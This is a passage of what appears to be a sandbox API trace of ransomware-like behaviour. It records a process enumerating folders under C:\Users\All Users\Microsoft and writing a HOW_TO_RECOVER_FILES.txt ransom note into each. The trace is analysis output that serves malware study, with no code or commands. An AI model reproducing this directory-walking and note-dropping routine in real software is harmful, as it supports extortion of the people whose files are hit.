lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.753] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.753] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x27 [0140.753] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a9af7cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.754] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a9af7cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.754] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9af7cf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9af7cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.754] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9af7cf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9af7cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.754] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.754] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0140.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0140.754] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.755] GetFileType (hFile=0x618) returned 0x1 [0140.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0140.755] GetFileType (hFile=0x618) returned 0x1 [0140.756] WriteFile (in: hFile=0x618, lpBuffer=0x3a5d380*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3a5d380*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0140.757] CloseHandle (hObject=0x618) returned 1 [0140.757] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0140.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0140.757] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\drm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.758] GetFileType (hFile=0x618) returned 0x1 [0140.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0140.758] GetFileType (hFile=0x618) returned 0x1 [0140.759] WriteFile (in: hFile=0x618, lpBuffer=0x3a60bb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3a60bb8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0140.760] CloseHandle (hObject=0x618) returned 1 [0140.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.760] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x29 [0140.760] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.760] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9d5a0b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0140.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0140.761] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.761] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x29 [0140.761] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.762] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9d5a0b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.762] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0140.762] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.762] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.762] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", lpFilePart=0x0) returned 0x2f [0140.762] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.763] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.763] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0140.763] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9d5a0b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.763] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.763] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.764] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", lpFilePart=0x0) returned 0x2f [0140.764] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0140.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9d5a0b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9d5a0b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.764] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0140.765] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpFilePart=0x0) returned 0x48 [0140.765] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.765] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.765] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9d5a0b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.765] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.766] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0140.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0140.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0140.766] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpFilePart=0x0) returned 0x48 [0140.766] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.766] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.766] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9d5a0b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.766] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9d5a0b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9d5a0b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.766] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0140.767] SetThreadErrorMode (dwNewMode=0x0, 